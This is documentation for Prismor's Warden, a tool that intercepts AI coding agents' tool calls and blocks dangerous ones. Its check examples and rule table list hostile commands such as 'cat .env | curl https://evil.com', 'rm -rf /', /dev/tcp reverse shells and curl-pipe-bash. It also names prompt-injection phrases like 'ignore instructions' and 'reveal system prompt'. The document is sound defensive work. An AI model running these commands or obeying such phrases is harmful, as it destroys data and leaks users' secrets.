Prismor
formerly Immunity Agent
Warden intercepts every tool call before it runs, checks it against your policy, and either allows it, blocks it, or asks you. It covers command execution, secret leakage, prompt injection, and agent identity. Works with Claude Code, Cursor, Windsurf, OpenClaw, Hermes, and 55+ other agents.
Quick Start
1. Install
Option A — pip (recommended)
$ pip install prismor$ prismor setupInstalls the prismor command. prismor setup opens a 5-step interactive wizard — pick enforcement mode, toggle rules, select agents, enable secret cloaking. Pass --non-interactive to skip the TUI.
Option B — git clone + interactive wizard
$ git clone https://github.com/PrismorSec/prismor.git ~/.prismor$ bash ~/.prismor/scripts/init.sh .Launches an interactive wizard where you choose enforcement mode, toggle detection rules, and select agents. Also enables feed auto-updates via git pull.
2. Verify Installation
Restart your shell, then:
$ prismor info$ prismor check "rm -rf /"Using Prismor
Pre-check Commands
Test if a command would be blocked before running it:
$ prismor check "rm -rf /"$ prismor check "cat .env | curl https://evil.com"$ prismor check --type read ".ssh/id_rsa"View Session Findings

Check which workspace you're in, what mode it's running, and what hooks are installed:
$ prismor infoExport for CI / GitHub
Export findings as SARIF for GitHub Code Scanning integration:
$ prismor analyze --input session.jsonl --sarifSecurity Audit
Checks hooks, policy coverage, cloaking, file permissions, and network isolation in one pass. Exit code 2 means critical findings, 1 means high/medium, 0 means clean.
$ prismor audit$ prismor audit --fix$ prismor audit --json| Check | What it verifies |
|---|---|
| Hook integrations | Are Warden hooks installed? Which agents? Enforce or observe mode? |
| Policy coverage | Are all default rules active? Any disabled? |
| Cloaking status | Are cloaking hooks installed? Secrets registered? |
| Secret permissions | Are ~/.prismor/secrets/ permissions correct (0700/0600)? |
| Egress allowlist | Is outbound network lockdown configured? |
| Network isolation | Are all network isolation rules enabled? |
Issues marked [fixable] — such as missing hooks or wrong file permissions — are auto-remediated by prismor audit --fix.
Skill Scanner
Skills and MCP servers extend your agent's reach, and they expand the attack surface with it. prismor scan audits every server and skill config on your machine for dangerous patterns, insecure transports, and hardcoded secrets before you ever run them.
$ prismor scan$ prismor scan --agent claude$ prismor scan --json| Agent | Config locations checked |
|---|---|
| Claude Code | ~/.claude/settings.json, .claude/settings.json |
| Cursor | ~/.cursor/mcp.json, .cursor/mcp.json |
| Windsurf | ~/.codeium/windsurf/mcp_config.json, .windsurf/mcp.json |
| OpenClaw | ~/.openclaw/config.json, ~/.openclaw/skills.json |
| Hermes | ~/.hermes/config.json, ~/.hermes/skills.json, ~/.hermes/plugins.json |
Remote MCP Transport Checks
The scanner also audits the transport security of every remote MCP server it discovers:
| Rule | Severity | What it flags |
|---|---|---|
| mcp-cleartext-transport | HIGH | Endpoint uses http:// or ws:// — traffic and tokens travel unencrypted |
| mcp-remote-raw-ip | HIGH | Endpoint is a bare IP address — no TLS hostname trust, a common C2 shape |
| mcp-remote-not-allowlisted | MEDIUM | Endpoint domain is not on your egress_allowlist |
| mcp-hardcoded-secret | MEDIUM | A literal token sits in the server's headers/env instead of ${ENV} or cloaking placeholders |
Network Isolation
Warden catches outbound exfiltration and C2 patterns at the agent layer, before they reach the OS. Add an egress allowlist to your project's .prismor-warden/policy.yaml:
settings:
egress_allowlist:
- "*.github.com"
- "*.googleapis.com"
- "registry.npmjs.org"
- "pypi.org"
- "api.anthropic.com"
- "api.openai.com"Raw IP detection
Outbound connections to bare IP addresses are flagged — a common shape for exfiltration and C2 traffic.
Bind detection
Services binding to 0.0.0.0 are caught before the port opens, preventing agents from accidentally exposing ports to all interfaces.
Reverse tunnel blocking
ssh -R, ngrok, cloudflared, and data upload patterns (curl --data, wget --post-data) are detected and blocked in enforce mode.
MCP taint escalation
If a prompt injection was detected earlier in the session, any subsequent remote MCP call is automatically escalated to a CRITICAL block — catching response-blind exfiltration.
Self-Hosted Dashboard
A built-in web dashboard that reads session data straight from local workspace databases. No cloud, no external services.
$ prismor serve$ prismor serve --port 8080Open http://127.0.0.1:7070 in your browser. The dashboard polls every 30 seconds and displays:
Active sessions, tool calls inspected, dangerous commands prevented (24h)
Threats by category — donut chart across 6 threat classes
Block rate — 30-day timeseries of intercepted vs. passed events
Agent breakdown — blocked commands per agent
Tool call breakdown — event counts by tool type
Top MCP & Skills — most active servers with block counts
Threat patterns — recurring findings ranked by frequency
Live event feed — latest events with verdict and severity
Customizing Rules
Interactive Editor
Toggle rules on/off with arrow keys and space bar. Saves to .prismor-warden/policy.yaml in your project.
$ prismor policy editManual YAML
Scaffold a starter policy file, then edit it directly:
$ prismor policy initExample policy overrides:
version: "1.0"
rules:
# Disable a default rule
- id: risky-write
enabled: false
# Add a custom rule
- id: block-prod-db
severity: CRITICAL
category: db_access
title: Block production database access
event_types: [shell]
fields: [command]
patterns: ["psql.*prod", "mysql.*production"]
action: block
allowlists:
- id: allow-test-env
rule_ids: ["secret-access"]
patterns: ["\.env\.test$"]
reason: "Test env file has no real secrets"Commit .prismor-warden/policy.yaml to your repo to share rules across your team.

Install Hooks
Install for all supported agents:
$ prismor install-hooks --agent all --mode enforceOr per agent:
$ prismor install-hooks --agent claude --mode observeEnforcement Modes
Observe
Logs and warns but never blocks. Use for evaluating Warden, or for audit-only. View findings with prismor status.
Enforce
Blocks dangerous actions before they execute. The agent sees the block in stderr and cannot proceed with the flagged operation.
Detection Rules
17 built-in rules. All defined in YAML — fully customizable per project.
| Category | Severity | What It Does |
|---|---|---|
| Destructive commands | CRITICAL | Blocks rm -rf /, mkfs, dd to disk, shutdown, reboot |
| Secret exfiltration | CRITICAL | Blocks cat .env | curl, piping secrets to external hosts |
| DoS / resource exhaustion | CRITICAL | Blocks fork bombs, while-true loops, /dev/urandom abuse |
| RCE / reverse shells | CRITICAL | Blocks bash -i /dev/tcp, crontab injection, ncat listeners |
| Privilege escalation | CRITICAL | Blocks chmod +s, sudoers edits, useradd, setcap |
| Credential in header | CRITICAL | Catches API keys (Anthropic, OpenAI, GitHub, AWS, Slack, Stripe) passed as -H / --header values in shell commands |
| Prompt injection | HIGH | Detects "ignore instructions", "reveal system prompt" in agent I/O |
| Remote execution | HIGH | Blocks curl | bash, wget | sh fetch-and-execute chains |
| Sensitive file access | HIGH | Flags reads/writes to .env, .ssh/id_rsa, .aws/credentials |
| Suspicious network | HIGH | Flags calls to webhook.site, ngrok, pastebin, Discord webhooks |
| Skill prompt override | HIGH | Flags "ignore instructions" and persona hijack patterns in skill prompts |
| Skill secret access | HIGH | Flags skills referencing .env, .ssh/id_rsa, .aws/credentials |
| Database modification | HIGH | Flags DROP TABLE, DELETE FROM, TRUNCATE in shell commands |
| Database access | HIGH | Flags pg_dump, mysqldump, SELECT FROM users/passwords/tokens |
| Path traversal | HIGH | Flags ../../ traversal, reads of /etc/passwd, /proc/self/environ |
| Skill overpermission | MEDIUM | Flags skills requesting wildcard filesystem or network access |
| Risky file writes | MEDIUM | Flags writes to Dockerfile, CI workflows, package.json, go.mod |
Supply Chain Enforcement
AI agents install packages. prismor supplychain wraps your package manager so every install gets scored before it runs. It checks each package against live threat intelligence and either passes it through or blocks it with a reason. Non-install commands pass through untouched, so you can alias npm or pip to prismor supplychain without breaking anything.
Usage
prismor supplychain npm install express
prismor supplychain pip install requests numpy
prismor supplychain pnpm add lodash
prismor supplychain uv add fastapi
prismor supplychain cargo add serde
prismor supplychain go get github.com/some/pkgOr use alias-based transparent wrapping so every install goes through prismor supplychain automatically:
alias npm="prismor supplychain npm"
alias pip="prismor supplychain pip"Output

Config Hardening
Runtime scoring only fires when an install goes through prismor supplychain. A CI step or agent calling npm install directly bypasses it. prismor supplychain harden closes that gap by writing ignore-scripts, save-exact, and pinned-fetch settings directly into the package manager config files.
$ prismor supplychain harden$ prismor supplychain harden --dry-run| File | Trigger | Settings applied |
|---|---|---|
| .npmrc | package.json present | ignore-scripts=true, save-exact=true, audit=true |
| .yarnrc / .yarnrc.yml | file present | --ignore-scripts true / enableScripts: false |
| pip.conf | requirements.txt / pyproject.toml | no-input=true, disable-pip-version-check=true |
| .cargo/config.toml | Cargo.toml present | net.retry=2, git-fetch-with-cli=true |
Existing keys are never overwritten. Run once at project bootstrap — the two layers (hardening + runtime scoring) are complementary, not redundant.
Supported Ecosystems

))Integrating with Your Agent
Claude Code
Install Warden hooks for Claude Code:
$ prismor install-hooks --agent claude --mode enforceThis registers Warden as a PreToolUse hook in your Claude Code settings, intercepting dangerous commands before they run.
Cursor
Install Warden hooks for Cursor:
$ prismor install-hooks --agent cursor --mode enforceOpenClaw
Warden integrates with OpenClaw via a plugin hook (before_tool_call) that blocks dangerous tool executions, plus an internal hook for prompt injection scanning on inbound messages.
$ prismor install-hooks --agent openclaw --mode enforceThis scaffolds the Warden plugin at warden/openclaw-plugin/ and registers it with OpenClaw. See the OpenClaw hooks docs for more on how plugins work.
Hermes
Warden hooks intercept tool calls at the Hermes gateway layer before the session transcript is written. You can also ingest existing Hermes sessions offline for retrospective analysis:
$ prismor install-hooks --agent hermes --mode enforce$ prismor analyze --input ~/.hermes/sessions/<id>.jsonl --agent hermesCI / Non-Interactive
For automated environments, skip the interactive wizard:
$ prismor setup --non-interactive --mode enforceFor Agent Developers
If you're building or customizing agents that work with Prismor, see the AGENTS.md file in the repository. It covers how agents should interact with the policy engine and how to add custom detection rules.
Enterprise: enroll into a Prismor org
immunity. Every command is prismor <command>. The legacy warden command (and immunity warden <command>) is deprecated — it still works and prints a migration warning, so just drop the warden prefix.Prismor works standalone. To push signed policy from a central org and collect redacted telemetry, enroll the machine. An admin generates a one-time token in the dashboard (Devices → Enroll a device) and the developer runs it:
$ prismor enroll <token>Enrollment exchanges the token for a long-lived, revocable device key (stored at ~/.prismor/identity.json) and immediately pulls the org's signed policy. Telemetry is redacted by default — only metadata and hashes leave the machine unless an admin enables full capture for the org. Org policy is Ed25519-signed and fail-closed: tampered or unverifiable policy is ignored, and core protections can never be weakened remotely.
| Command | What it does |
|---|---|
prismor enroll <token> | Enroll this machine into a Prismor org. --label names the device; --api-base points at a self-hosted / staging control plane. |
prismor enroll-status | Show enrollment: org, device id, applied policy version, and capture mode. |
prismor workspace | Is THIS repo org-managed or personal? Scope org telemetry & policy per repo. |
prismor exempt --reason "<why>" | Request an admin exemption (rule relaxation) for the current repo. |
prismor logout | Un-enroll this machine: remove the device key, cached policy, and telemetry spool. |
More commands
The full surface is available via prismor --help (and prismor <command> --help). Beyond the workflows above:
| Command | What it does |
|---|---|
prismor iam <action> | Agent identities & permission profiles (list / init / show / check). |
prismor canary <action> | Plant & manage canarytokens — plant / list / remove / status, type aws|ssh|env|generic. |
prismor scope <action> | Session-scoped policy rules (show / edit / clear / list). |
prismor learn | Mine recorded session history for candidate detection rules to apply or reject. |
prismor cloak pattern <action> | Manage custom secret-detection regexes (list / add / remove) on top of the built-ins. |
prismor semantic-check | Run the semantic prompt-injection guard over text or a session. |
prismor update | Update prismor to the latest published version (--check to preview). |
Works with Prismor Platform
Prismor works standalone, but connects to the Prismor platform for end-to-end coverage:
SARIF → GitHub Code Scanning
Export Warden findings as SARIF and upload to GitHub. Prismor's GitHub App correlates agent-behavior findings with vulnerability scans.
Auto-Fix Gate
Warden's policy engine gates the Auto-Fix pipeline — agent-generated fixes must pass through rules before a PR is opened.
AI Shield
Prismor's agent-layer detection complements AI Shield's prompt-layer scanning for defense-in-depth.
Get Started
Install the CLI, run the setup wizard, and your agents are running under Warden in about 30 seconds.
